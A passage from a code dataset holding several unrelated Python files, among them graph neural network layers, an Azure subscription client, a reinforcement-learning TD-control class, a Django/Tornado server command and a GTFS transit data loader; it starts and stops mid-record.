TestResult(**json.loads(record.data))\n text = f'Результат тестирования:\\n'\n test_result.successful_task.sort(key=lambda x: _get_lab_number(x.file_name))\n test_result.failed_task.sort(key=lambda x: _get_lab_number(x.file_name))\n for it in test_result.successful_task:\n text += f'✅ {it.file_name}\\n'\n for it in test_result.failed_task:\n text += f'❌ {it.file_name} {it.description}\\n'\n await self.bot.send_message(\n record.chat_id,\n text=text,\n parse_mode=\"HTML\"\n )\n queue_out_crud.delete_record(record.id)\n","repo_name":"maksimblak/check_homework_bot","sub_path":"testing_tools/answer/answer_processing.py","file_name":"answer_processing.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74756860888","text":"import torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport torch_geometric.nn as gnn\nfrom torch.autograd import Variable\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nclass GANGenerator(nn.Module):\n \"\"\"\n The generator used in the `ProGAN` model.\n\n Source\n ------\n https://github.com/yongqyu/MolGAN-pytorch, https://github.com/ZhenyueQin/Implementation-MolGAN-PyTorch\n \"\"\"\n\n def __init__(self, max_num_nodes, x_dim, z_dim, mlp_dims, dropout=0.1):\n \"\"\"\n Initialize the class.\n\n Parameters\n ----------\n max_num_nodes : int\n The maximum number of nodes.\n z_dim : int\n The size of the sample space.\n mlp_dims : list of int\n The sizes of the layers in the MLP.\n dropout : float in [0,1], optional\n The probability of dropout. The default is 0.1.\n \"\"\"\n super(GANGenerator, self).__init__()\n self.max_num_nodes = max_num_nodes\n self.dropout = dropout\n\n self.mlp_x = MLPLayer([z_dim] + mlp_dims + [x_dim])\n self.mlp_w_adj = MLPLayer([z_dim] + mlp_dims + [max_num_nodes])\n self.mlp_mask = MLPLayer([z_dim] + mlp_dims + [2])\n\n def forward(self, z):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n z : torch.Tensor\n The sampled space.\n\n Returns\n -------\n (out_x, out_w_adj, out_mask) : (torch.Tensor, torch.Tensor, torch.Tensor)\n The generated node features, weighted adjacency, and node mask.\n \"\"\"\n out_x = F.dropout(self.mlp_x(z), p=self.dropout)\n out_w_adj = F.dropout(self.mlp_w_adj(z, activation=F.relu), p=self.dropout)\n out_mask = F.dropout(self.mlp_mask(z), p=self.dropout)\n out_w_adj = out_w_adj.view(-1,self.max_num_nodes,self.max_num_nodes)\n return out_x, out_w_adj, out_mask\n\nclass GANDiscriminator(nn.Module):\n \"\"\"\n The discriminator used in the `ProGAN` model.\n\n Source\n ------\n https://github.com/yongqyu/MolGAN-pytorch, https://github.com/ZhenyueQin/Implementation-MolGAN-PyTorch\n \"\"\"\n\n def __init__(self, x_dim, gcn_dims, agg_dim, dropout=0.1):\n super(GANDiscriminator, self).__init__()\n self.dropout = dropout\n\n self.conv_layer = DGCLayer([x_dim] + gcn_dims + [agg_dim])\n self.agg_layer = GraphAggregation(agg_dim, 1)\n\n def forward(self, x, w_adj, mask, activation=None):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n x : torch.Tensor\n The node feature tensor.\n w_adj : torch.Tensor\n The weighted adjacency tensor.\n mask : torch.Tensor\n The tensor indicating whether a particular node exists.\n activation : callable, optional\n The activation function. The default is None.\n\n Returns\n -------\n out : torch.Tensor\n The output.\n \"\"\"\n out = F.dropout(self.conv_layer(x, w_adj.clone(), mask=mask.clone(), activation=F.leaky_relu), p=self.dropout)\n out = self.agg_layer(out)\n out = activation(out) if activation is not None else out\n return out\n\nclass GraphAggregation(nn.Module):\n \"\"\"\n Perform graph aggregation in the `GANDiscriminator` module.\n\n Source\n ------\n https://github.com/yongqyu/MolGAN-pytorch, https://github.com/ZhenyueQin/Implementation-MolGAN-PyTorch\n \"\"\"\n\n def __init__(self, input_dim, output_dim):\n super(GraphAggregation, self).__init__()\n\n self.sigmoid_layer = nn.Sequential(nn.Linear(input_dim, output_dim),\n nn.Sigmoid())\n self.tanh_layer = nn.Sequential(nn.Linear(input_dim, output_dim),\n nn.Tanh())\n\n def forward(self, x):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n x : torch.Tensor\n The tensor representing the state of the graph.\n\n Returns\n -------\n out : torch.Tensor\n The aggregated output.\n \"\"\"\n i, j = self.sigmoid_layer(x), self.tanh_layer(x)\n out = torch.sum(torch.mul(i,j), 1).view(-1, 1)\n return out\n\nclass GRULayer(nn.Module):\n \"\"\"\n A GRU layer composed of several GRU cells.\n\n Source\n ------\n https://github.com/snap-stanford/GraphRNN\n \"\"\"\n\n def __init__(self, input_dim, hidden_dim, embed_dim, num_layers, has_input=True, has_output=False, out_dim=None, dropout=0, device='cpu'):\n \"\"\"\n Initialize the class.\n\n Parameters\n ----------\n input_dim : int\n The dimension of the input features.\n hidden_dim : int\n The hidden dimension.\n embed_dim : int\n The embedding dimension.\n num_layers : int\n The number of GRU cells.\n has_input : bool, optional\n Whether the layer has an output. The default is True.\n has_output : bool, optional\n Whether the layer has an output. The default is False.\n out_dim : int, optional\n The dimension of the output features. The default is None.\n dropout : float in [0,1], optional\n The dropout probability.\n device : str, optional\n The device where to put the data. The default is 'cpu'.\n \"\"\"\n super(GRULayer, self).__init__()\n self.hidden_dim = hidden_dim\n self.num_layers = num_layers\n self.has_input = has_input\n self.has_output = has_output\n self.device = device\n\n if has_input:\n self.in_layer = nn.Linear(input_dim, embed_dim)\n self.rnn_layer = nn.GRU(input_size=embed_dim, hidden_size=hidden_dim, num_layers=num_layers, dropout=dropout, batch_first=True)\n else:\n self.rnn_layer = nn.GRU(input_size=input_dim, hidden_size=hidden_dim, num_layers=num_layers, dropout=dropout, batch_first=True)\n\n if has_output:\n self.out_layer = nn.Sequential(nn.Linear(hidden_dim, embed_dim),\n nn.ReLU(),\n nn.Linear(embed_dim, out_dim))\n\n self.relu = nn.ReLU()\n self.hidden = None # initialize before run\n\n for name, param in self.rnn_layer.named_parameters():\n if 'bias' in name:\n nn.init.constant_(param, 0.25)\n elif 'weight' in name:\n nn.init.xavier_uniform_(param, gain=nn.init.calculate_gain('sigmoid'))\n\n def init_hidden(self, batch_size):\n \"\"\"\n Initialize the hidden state.\n\n Parameters\n ----------\n batch_size : int\n The batch size.\n\n Returns\n -------\n torch.autograd.Variable\n The hidden state.\n \"\"\"\n return Variable(torch.zeros(self.num_layers, batch_size, self.hidden_dim)).to(self.device)\n\n def forward(self, input_raw, pack=False, input_len=None):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n input_raw : torch.Tensor\n The input representing a sequence.\n pack : bool, optional\n Whether to pack the sequence. The default is False.\n input_len : list of int, optional\n The lengths of single sequences within the batch. The default is None.\n\n Returns\n -------\n (output_raw, output) : (torch.Tensor, torch.Tensor)\n The raw output and the output after being passed into an MLP.\n \"\"\"\n if self.has_input:\n input = self.in_layer(input_raw)\n input = self.relu(input)\n else:\n input = input_raw\n if pack:\n input = pack_padded_sequence(input, input_len, batch_first=True)\n output_raw, self.hidden = self.rnn_layer(input, self.hidden)\n if pack:\n output_raw = pad_packed_sequence(output_raw, batch_first=True)[0]\n output = None\n if self.has_output:\n output = self.out_layer(output_raw)\n return output_raw, output\n\nclass MLPLayer(nn.Module):\n \"\"\"\n A generic MLP layer.\n \"\"\"\n\n def __init__(self, dims):\n \"\"\"\n Initialize the class.\n\n Parameters\n ----------\n dims : list of int\n The dimensions of the MLP layers.\n \"\"\"\n super(MLPLayer, self).__init__()\n\n layers = []\n for in_dim, out_dim in zip(dims, dims[1:]):\n layers.append(nn.Linear(in_dim, out_dim))\n layers.append(nn.ReLU())\n layers.pop()\n self.mlp_layers = nn.Sequential(*layers)\n\n for m in self.modules():\n if isinstance(m, nn.Linear):\n m.weight.data = nn.init.xavier_uniform_(m.weight.data, gain=nn.init.calculate_gain('relu'))\n m.bias.data.zero_()\n\n def forward(self, x, activation=None):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n x : torch.Tensor\n The input.\n activation : callable, optional\n The activation function. The default is None.\n\n Returns\n -------\n out : torch.Tensor\n The output.\n \"\"\"\n out = self.mlp_layers(x)\n out = activation(out) if activation is not None else out\n return out\n\nclass DGCLayer(nn.Module):\n \"\"\"\n A layer for multiple DenseGraphConv layers.\n\n Such layers implement the k-GNN model.\n \"\"\"\n\n def __init__(self, dims):\n \"\"\"\n Initialize the class.\n\n Parameters\n ----------\n dims : list of int\n The dimensions of the k-GNN layers.\n \"\"\"\n super(DGCLayer, self).__init__()\n\n self.dgc_layers = nn.ModuleList()\n for in_dim, out_dim in zip(dims, dims[1:]):\n self.dgc_layers.append(gnn.DenseGraphConv(in_dim, out_dim))\n\n def forward(self, x, w_adj, mask=None, activation=F.relu):\n \"\"\"\n Compute the forward pass.\n\n Parameters\n ----------\n x : torch.Tensor\n The node feature tensor.\n w_adj : torch.Tensor\n The weighted adjacency tensor.\n mask : torch.Tensor\n The tensor indicating whether a particular node exists.\n\n Returns\n -------\n x : torch.Tensor\n The node embeddings.\n \"\"\"\n out = x\n for dgc_layer in self.dgc_layers:\n out = dgc_layer(out, w_adj, mask=mask)\n out = activation(out)\n return out","repo_name":"federicoVS/ProFraGe","sub_path":"profrage/generate/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":10555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43171084456","text":"from typing import TYPE_CHECKING\n\nfrom azure.mgmt.core import ARMPipelineClient\nfrom msrest import Deserializer, Serializer\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import,ungrouped-imports\n from typing import Any, Optional\n\n from azure.core.credentials import TokenCredential\n\nfrom ._configuration import SubscriptionClientConfiguration\nfrom .operations import SubscriptionsOperations\nfrom .operations import TenantsOperations\nfrom .operations import SubscriptionOperations\nfrom .operations import Operations\nfrom .operations import AliasOperations\nfrom . import models\n\n\nclass SubscriptionClient(object):\n \"\"\"The subscription client.\n\n :ivar subscriptions: SubscriptionsOperations operations\n :vartype subscriptions: subscription_client.operations.SubscriptionsOperations\n :ivar tenants: TenantsOperations operations\n :vartype tenants: subscription_client.operations.TenantsOperations\n :ivar subscription: SubscriptionOperations operations\n :vartype subscription: subscription_client.operations.SubscriptionOperations\n :ivar operations: Operations operations\n :vartype operations: subscription_client.operations.Operations\n :ivar alias: AliasOperations operations\n :vartype alias: subscription_client.operations.AliasOperations\n :param credential: Credential needed for the client to connect to Azure.\n :type credential: ~azure.core.credentials.TokenCredential\n :param str base_url: Service URL\n :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.\n \"\"\"\n\n def __init__(\n self,\n credential, # type: \"TokenCredential\"\n base_url=None, # type: Optional[str]\n **kwargs # type: Any\n ):\n # type: (...) -> None\n if not base_url:\n base_url = 'https://management.azure.com'\n self._config = SubscriptionClientConfiguration(credential, **kwargs)\n self._client = ARMPipelineClient(base_url=base_url, config=self._config, **kwargs)\n\n client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)}\n self._serialize = Serializer(client_models)\n self._serialize.client_side_validation = False\n self._deserialize = Deserializer(client_models)\n\n self.subscriptions = SubscriptionsOperations(\n self._client, self._config, self._serialize, self._deserialize)\n self.tenants = TenantsOperations(\n self._client, self._config, self._serialize, self._deserialize)\n self.subscription = SubscriptionOperations(\n self._client, self._config, self._serialize, self._deserialize)\n self.operations = Operations(\n self._client, self._config, self._serialize, self._deserialize)\n self.alias = AliasOperations(\n self._client, self._config, self._serialize, self._deserialize)\n\n def close(self):\n # type: () -> None\n self._client.close()\n\n def __enter__(self):\n # type: () -> SubscriptionClient\n self._client.__enter__()\n return self\n\n def __exit__(self, *exc_details):\n # type: (Any) -> None\n self._client.__exit__(*exc_details)\n","repo_name":"mirespace/python-azure","sub_path":"sdk/subscription/azure-mgmt-subscription/azure/mgmt/subscription/_subscription_client.py","file_name":"_subscription_client.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73592012567","text":"import os\nimport numpy as np\n\n\nclass TDControl:\n \"\"\"\n Implements in-policy TD-control through linear approximation.\n Algorithms can be chosen between: \"SARSA\", \"expSARSA\", \"Q-Learning\"\n \"\"\"\n\n def __init__(self, state_size, action_size, gamma, lr, alg=\"SARSA\"):\n self.gamma = gamma # discount factor\n self.lr = lr # learning rate\n self.state_size = state_size # as a tuple\n self.action_size = action_size\n\n # TD error\n assert alg in (\"SARSA\", \"expSARSA\", \"Q-Learning\"), \\\n \"invalid algorithm valid arguments are: SARSA, expSARSA, Q-Learning\"\n self.alg = alg\n\n # approximations of Q-values\n self.values = np.zeros((*self.state_size, self.action_size))\n\n def train_step(self, state, action, reward, new_state, new_action, game_over):\n \"\"\"\n Single TD training step with the chosen algorithm.\n \"\"\"\n if self.alg == \"SARSA\":\n # SARSA\n # Q(s,a) <- Q(s,a) + lr * [ r + y * Q(s',a') - Q(s,a) ]\n if game_over:\n delta = reward - self.values[(*state, action)] # value of the terminal state is 0\n else:\n delta = reward + self.gamma * self.values[(*new_state, new_action)] - self.values[(*state, action)]\n if self.alg == \"expSARSA\":\n # Expected SARSA\n # Q(s,a) <- Q(s,a) + lr * [ r + y * SUM_a' pi(a'|s')Q(s',a') - Q(s,a) ]\n if game_over:\n delta = reward - self.values[(*state, action)]\n else:\n delta = reward + \\\n self.gamma * np.dot(self.values[(*new_state,)], self.get_policy(new_state)) - \\\n self.values[(*state, action)]\n if self.alg == \"Q-Learning\":\n # Q-Learning\n # Q(s,a) <- Q(s,a) + lr * [ r + y * max_a'{Q(s',a')} ]\n if game_over:\n delta = reward - self.values[(*state, action)]\n else:\n delta = reward + self.gamma * np.max(self.values[(*new_state,)]) - self.values[(*state, action)]\n\n # update\n self.values[(*state, action)] += self.lr * delta\n\n def get_action(self, state, epsilon=0):\n \"\"\"\n Returns the action with an epsilon-greedy policy.\n For epsilon=0 always returns the best action\n \"\"\"\n # epsilon probability to take a random action\n if np.random.rand() < epsilon:\n prob_actions = np.ones(self.action_size) / self.action_size\n # else take the best action\n else:\n best_value = np.max(self.values[(*state,)])\n best_actions = (self.values[(*state,)] == best_value)\n prob_actions = best_actions / np.sum(best_actions)\n action = np.random.choice(self.action_size, p=prob_actions)\n return action\n\n def get_policy(self, state):\n \"\"\"\n like get_action but returns vector of probabilities for each action\n \"\"\"\n policy = np.ones(self.action_size) / self.action_size\n best_value = np.max(self.values[(*state,)])\n best_actions = (self.values[(*state,)] == best_value)\n policy += best_actions / np.sum(best_actions)\n return policy\n\n def save(self, file):\n \"\"\"\n saves the matrix in a .npy format\n \"\"\"\n np.save(file, self.values)\n\n def load(self, file: str):\n \"\"\"\n\t\tLoads the QValues matrix in the model.\n\t\tThe input must be a relative path to a .npy file storing an appropriate matrix.\n \"\"\"\n self.values = np.load(file)\n","repo_name":"Brusa99/Snake_RL","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19018405578","text":"from datetime import datetime\nfrom sys import platform\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.utils import translation, autoreload\nfrom django.conf import settings\n\nfrom base.servers.tornado_django_hybrid import run as run_server\n\n\nclass Command(BaseCommand):\n help = 'Run django using the tornado server'\n requires_migrations_checks = True\n requires_system_checks = False\n leave_locale_alone = True\n default_port = '8000'\n\n def add_arguments(self, parser):\n parser.add_argument(\n 'port', nargs='?',\n help='Optional port number'\n )\n\n def handle(self, *args, **options):\n if options['port']:\n self.port = options['port']\n else:\n self.port = self.default_port\n if not self.port.isdigit():\n raise CommandError(\"%r is not a valid port number.\" % self.port)\n if settings.DEBUG:\n autoreload.main(self.inner_run, args, options)\n else:\n self.inner_run(*args, **options)\n\n def inner_run(self, *args, **options):\n quit_command = (platform == 'win32') and 'CTRL-BREAK' or 'CONTROL-C'\n\n self.stdout.write((\n \"%(started_at)s\\n\"\n \"Django version %(version)s, using settings %(settings)r\\n\"\n \"Django tornado server is running at http://%(addr)s:%(port)s/\\n\"\n \"Quit the server with %(quit_command)s.\\n\"\n ) % {\n \"started_at\": datetime.now().strftime('%B %d, %Y - %X'),\n \"version\": self.get_version(),\n \"settings\": settings.SETTINGS_MODULE,\n \"addr\": '127.0.0.1',\n \"port\": self.port,\n \"quit_command\": quit_command,\n })\n # django.core.management.base forces the locale to en-us. We should\n # set it up correctly for the first request (particularly important\n # in the \"--noreload\" case).\n translation.activate(settings.LANGUAGE_CODE)\n\n run_server(self.port)\n","repo_name":"allmende/fiduswriter","sub_path":"base/management/commands/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"31955551617","text":"import pandas as pd\nimport click\nimport os\n\n\n@click.command()\n@click.argument('input_folder')\n@click.argument('output_folder')\ndef main(input_folder, output_folder):\n\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n files = [[(x[0] + '/' + y, x[0].split('/')[-1].replace('DATA_', '').replace('_22', '')) for y in x[2]] for x in\n os.walk(input_folder)\n if '_22' in x[0].split('/')[-1]]\n flat_files = [file for sublist in files for file in sublist]\n csv_files = [file for file in flat_files if file[0].endswith('csv') and (\n 'pancancer' not in file[1])]\n\n df_fiels_summary = pd.DataFrame()\n for summary_file, folder_name in [\n file for file in csv_files if file[0].endswith('files_summary_count_per_patient.csv')\n ]:\n df_temp = pd.read_csv(summary_file)\n df_temp = df_temp.groupby('indiv_name').count()\n row = pd.DataFrame([[folder_name, df_temp.shape[0]]], columns=['folder', 'number_of_patients'])\n df_fiels_summary = pd.concat([df_fiels_summary, row], sort=False)\n if output_folder.endswith('/'):\n df_fiels_summary.to_excel(output_folder + 'number_of_patients.xlsx', index=False)\n else:\n df_fiels_summary.to_excel(output_folder + '/number_of_patients.xlsx', index=False)\n\n df_count_summary = pd.DataFrame()\n for count_file, folder_name in [\n file for file in csv_files if file[0].endswith('patient_mutation_count.csv')\n ]:\n df_temp = pd.read_csv(count_file)\n df_temp['cancer_id'] = folder_name\n df_count_summary = pd.concat([df_count_summary, df_temp], sort=False)\n if output_folder.endswith('/'):\n df_count_summary.to_excel(output_folder + 'patient_mutation_count.xlsx', index=False)\n else:\n df_count_summary.to_excel(output_folder + '/patient_mutation_count.xlsx', index=False)\n\n all_mutation_count = pd.DataFrame()\n for count_file, folder_name in [\n file for file in csv_files if file[0].endswith('patient_mutation_count.csv')\n ]:\n df_temp = pd.read_csv(count_file)\n df_temp['cancer'] = folder_name\n all_mutation_count = pd.concat([all_mutation_count, df_temp], sort=False)\n if output_folder.endswith('/'):\n all_mutation_count.to_excel(output_folder + 'number_of_mutations_all_patients.xlsx', index=False)\n else:\n all_mutation_count.to_excel(output_folder + '/number_of_mutations_all_patients.xlsx', index=False)\n\n df_all_mutation = pd.DataFrame()\n for all_mutations_filtered_mut_type_gene, folder_name in [\n file for file in csv_files if file[0].endswith('all_mutations.csv')\n ]:\n print(folder_name)\n df_temp = pd.read_csv(all_mutations_filtered_mut_type_gene)\n df_temp['cancer'] = folder_name\n df_all_mutation = pd.concat([df_all_mutation, df_temp], sort=False)\n df_all_mutation.to_csv(output_folder + 'all_mutations.csv')\n\n df_complex = pd.DataFrame()\n for complex_file, folder_name in [\n file for file in csv_files if file[0].endswith('complex.csv')\n ]:\n df_temp = pd.read_csv(complex_file)\n df_temp['cancer'] = folder_name\n df_complex = pd.concat([df_complex, df_temp], sort=False)\n df_complex.to_csv(output_folder + 'complex.csv')\n\n df_occur = pd.DataFrame()\n for occur_file, folder_name in [\n file for file in csv_files if file[0].endswith('occur.csv')\n ]:\n df_temp = pd.read_csv(occur_file)\n df_occur = pd.concat([df_occur, df_temp], sort=False)\n df_occur = df_occur.groupby(['chrom', 'pre_name', 'id', 'start_pre', 'seq_type'], as_index=False).agg({\n 'indiv_name_nunique': sum,\n 'indiv_name_count': sum,\n 'pos_nunique': sum,\n 'if_complex': lambda x: 1 if sum(x) > 0 else 0\n })\n df_occur.to_csv(output_folder + 'occur.csv')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martynaut/pancancer_mirnome","sub_path":"run_pancancer_analysis.py","file_name":"run_pancancer_analysis.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71805116887","text":"def pack(box_w, prices, weights):\r\n \r\n if len(prices) == 0:\r\n return 0\r\n\r\n box = []\r\n max_price = 0\r\n while len(prices)>0 and box_w > 0:\r\n max_ind= fetch_most_valuable_ind(prices, weights)\r\n if weights[max_ind] > box_w:\r\n box.append((prices[max_ind]/weights[max_ind])*box_w)\r\n box_w = 0\r\n else:\r\n box.append(prices[max_ind])\r\n box_w = box_w - weights[max_ind]\r\n\r\n prices.pop(max_ind)\r\n weights.pop(max_ind)\r\n\r\n for price in box: \r\n max_price = max_price + price\r\n\r\n print(box)\r\n return max_price \r\n \r\n\r\ndef fetch_most_valuable_ind(prices, weights):\r\n\r\n if len(prices) == 0 :\r\n return None\r\n\r\n max_val = float('-inf')\r\n max_ind = 0\r\n for i in range(len(prices)):\r\n if prices[i]/weights[i] > max_val:\r\n max_val = prices[i]/weights[i] \r\n max_ind = i\r\n\r\n return max_ind\r\n\r\n\r\narr_p1 = [60, 100, 120]\r\narr_w1 = [10, 20, 30]\r\nW1 = 50\r\n\r\nprint(\"----------------------------------\")\r\nprint(\"prices:\", arr_p1)\r\nprint(\"weights:\", arr_w1)\r\nprint(\"Capacity:\",W1)\r\nprint(\"max_price:\", pack(W1, arr_p1, arr_w1))\r\nprint(\"----------------------------------\")\r\n\r\n\r\narr_p2 = [10, 100, 90, 85]\r\narr_w2 = [10, 50, 30, 20]\r\nW2 = 65\r\n\r\nprint(\"prices:\", arr_p2)\r\nprint(\"weights:\", arr_w2)\r\nprint(\"Capacity:\",W2)\r\nprint(\"max_price:\", pack(W2, arr_p2, arr_w2))\r\nprint(\"----------------------------------\")\r\n\r\narr_p3 = [50, 200, 90, 60]\r\narr_w3 = [10, 40, 30, 20]\r\nW3 = 90\r\n\r\nprint(\"prices:\", arr_p3)\r\nprint(\"weights:\", arr_w3)\r\nprint(\"Capacity:\",W3)\r\nprint(\"max_price:\", pack(W3, arr_p3, arr_w3))\r\nprint(\"----------------------------------\")\r\n\r\n","repo_name":"HusnuAkcak/CSE321-Algorithms","sub_path":"hw5/code/cheese.py","file_name":"cheese.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36057067422","text":"import csv\nimport logging\nimport zipfile\nfrom dataclasses import dataclass, field\nfrom datetime import date, timedelta\nfrom io import TextIOWrapper\nfrom math import nan\nfrom operator import itemgetter\nfrom pathlib import Path\nfrom typing import IO, Callable, List, Optional, Union\n\nfrom .util import parse_gtfs_date, sequence_to_int\n\nlogger = logging.getLogger(\"jvig.gtfs\")\n\nRow = dict[str, str]\nPoint = tuple[float, float]\n\nTableToOne = dict[str, Row]\nTableToMany = dict[str, list[Row]]\nTableToPoints = dict[str, list[Point]]\nTable = Union[TableToOne, TableToMany, TableToPoints]\n\n\ndef _get_shape_pt(row: Row) -> Optional[Point]:\n \"\"\"Tries to parse a shapes.txt row into a Point tuple.\n If there's anything wrong with the row, returns None\"\"\"\n try:\n return float(row.get(\"shape_pt_lat\", nan)), float(row.get(\"shape_pt_lon\", nan))\n except ValueError:\n return None\n\n\n_table_keys: dict[str, str] = {\n \"agency\": \"agency_id\",\n \"stops\": \"stop_id\",\n \"routes\": \"route_id\",\n \"trips\": \"trip_id\",\n \"calendar\": \"service_id\",\n \"calendar_dates\": \"service_id\",\n \"frequencies\": \"trip_id\",\n \"stop_times\": \"trip_id\",\n \"shapes\": \"shape_id\",\n}\n\n\n@dataclass\nclass Gtfs:\n \"\"\"Gtfs is a class that holds all known GTFS tables.\n It's also responsible for loading the data.\"\"\"\n\n agency: TableToOne = field(default_factory=dict)\n stops: TableToOne = field(default_factory=dict)\n stop_children: dict[str, list[str]] = field(default_factory=dict)\n routes: TableToOne = field(default_factory=dict)\n trips: TableToOne = field(default_factory=dict)\n calendar: TableToOne = field(default_factory=dict)\n calendar_dates: TableToMany = field(default_factory=dict)\n frequencies: TableToMany = field(default_factory=dict)\n stop_times: TableToMany = field(default_factory=dict)\n stop_times_by_stops: TableToMany = field(default_factory=dict)\n shapes: TableToPoints = field(default_factory=dict)\n\n def load_to_row(self, table_name: str, stream: IO[str]) -> None:\n \"\"\"Loads a table where the key should map into a single row,\n like agency.txt or calendar.txt.\"\"\"\n primary_key = _table_keys[table_name]\n table: TableToOne = getattr(self, table_name)\n table.clear()\n\n for row in csv.DictReader(stream):\n # Fix for GTFS feeds without an explicit agency_id\n if table_name in (\"agency\", \"routes\") and \"agency_id\" not in row:\n row[\"agency_id\"] = \"(missing)\"\n\n table[row[primary_key]] = row\n\n def load_to_rows(self, table_name: str, stream: IO[str]) -> None:\n \"\"\"Loads a table where the key should map into multiple row, like frequencies.txt.\"\"\"\n primary_key = _table_keys[table_name]\n table: TableToMany = getattr(self, table_name)\n table.clear()\n\n for row in csv.DictReader(stream):\n table.setdefault(row[primary_key], []).append(row)\n\n def load_stops(self, table_name: str, stream: IO[str]) -> None:\n \"\"\"Specialized loader for stops.txt, which loads data into both\n self.stops and self.stop_children.\"\"\"\n assert table_name == \"stops\"\n self.stops.clear()\n self.stop_children.clear()\n\n for row in csv.DictReader(stream):\n self.stops[row[\"stop_id\"]] = row\n\n # Check if this is a child stop belonging to a larger structure\n parent = row.get(\"parent_station\")\n if parent and row.get(\"location_type\") != \"1\":\n self.stop_children.setdefault(parent, []).append(row[\"stop_id\"])\n\n def load_shapes(self, table_name: str, stream: IO[str]) -> None:\n \"\"\"Specialized loader for shapes.txt to parse the shape.\"\"\"\n assert table_name == \"shapes\"\n\n shapes_with_indices: dict[str, list[tuple[int, Point]]] = {}\n\n for row in csv.DictReader(stream):\n idx = sequence_to_int(row.get(\"shape_pt_sequence\", \"\"))\n pt = _get_shape_pt(row)\n\n # NOTE: Invalid rows are silently ignored\n if idx >= 0 and pt is not None:\n shapes_with_indices.setdefault(row[\"shape_id\"], []).append((idx, pt))\n\n # Sort shapes by shape_pt_sequence\n for shape in shapes_with_indices.values():\n shape.sort(key=itemgetter(0))\n\n # Set shapes table\n self.shapes = {\n shape_id: [i[1] for i in shape] for shape_id, shape in shapes_with_indices.items()\n }\n\n def load_stop_times(self, table_name: str, stream: IO[str]) -> None:\n \"\"\"Specialized loader for stop_times.txt, which loads the data\n into self.stop_times and self.stop_times_by_stops.\"\"\"\n\n assert table_name == \"stop_times\"\n self.stop_times.clear()\n self.stop_times_by_stops.clear()\n\n for row in csv.DictReader(stream):\n self.stop_times.setdefault(row[\"trip_id\"], []).append(row)\n self.stop_times_by_stops.setdefault(row[\"stop_id\"], []).append(row)\n\n # Sort stop_times by stop_sequence\n for trip_stop_times in self.stop_times.values():\n trip_stop_times.sort(key=lambda row: sequence_to_int(row.get(\"stop_sequence\", \"\")))\n\n def header_of(self, table_name: str) -> List[str]:\n \"\"\"Returns the GTFS header of a particlar table.\"\"\"\n table: Union[TableToOne, TableToMany] = getattr(self, table_name)\n\n # Get the first entry from the table\n entry = next(iter(table.values()), Row())\n\n # If it's a list of rows, get its first row\n if isinstance(entry, list):\n entry = entry[0]\n\n # Return the keys of the row\n return list(entry.keys())\n\n @property\n def _loader_table(self) -> dict[str, Callable[[str, IO[str]], None]]:\n return {\n \"agency\": self.load_to_row,\n \"stops\": self.load_stops,\n \"routes\": self.load_to_row,\n \"trips\": self.load_to_row,\n \"calendar\": self.load_to_row,\n \"calendar_dates\": self.load_to_rows,\n \"frequencies\": self.load_to_rows,\n \"stop_times\": self.load_stop_times,\n \"shapes\": self.load_shapes,\n }\n\n @classmethod\n def from_directory(cls, where: Path) -> \"Gtfs\":\n \"\"\"Loads GTFS data from a directory of .txt files\"\"\"\n self = cls()\n loaders = self._loader_table\n\n for f in where.glob(\"*.txt\"):\n table_name = f.stem\n loader = loaders.get(table_name)\n\n if loader:\n logger.info(f\"Loading table {table_name}\")\n with f.open(mode=\"r\", encoding=\"utf-8-sig\", newline=\"\") as stream:\n loader(table_name, stream)\n\n return self\n\n @classmethod\n def from_zip(cls, where: Path) -> \"Gtfs\":\n \"\"\"Loads GTFS data from a .zip archive\"\"\"\n self = cls()\n loaders = self._loader_table\n\n with zipfile.ZipFile(where, mode=\"r\") as archive:\n for f in archive.infolist():\n if not f.filename.endswith(\".txt\"):\n logger.warn(f\"Unrecognized file in zip: {f.filename}\")\n continue\n\n table_name = f.filename[:-4]\n loader = loaders.get(table_name)\n\n if loader:\n logger.info(f\"Loading table {table_name}\")\n with archive.open(f, mode=\"r\") as binary_stream:\n stream = TextIOWrapper(binary_stream, encoding=\"utf-8-sig\", newline=\"\")\n loader(table_name, stream)\n\n else:\n logger.warning(f\"Unrecognized file in zip: {f.filename}\")\n\n return self\n\n @classmethod\n def from_user_input(cls, where: Path) -> \"Gtfs\":\n \"\"\"Loads data from a .zip file (if `where` is a file),\n or from a directory with .txt files (if `where` is not a file)\"\"\"\n return cls.from_zip(where) if where.is_file() else cls.from_directory(where)\n\n def all_stops_in_group(self, stop_id: str) -> list[Row]:\n \"\"\"Returns all stops in the group to which `stop_id` belongs.\n\n If the stop doesn't exist, returns an empty list.\n If the stop doesn't belong to a group, returns a list with one element.\n\n In any other cases, the provided stop will always be the\n first element in the returned list.\n \"\"\"\n if stop_id not in self.stops:\n return []\n\n stop = 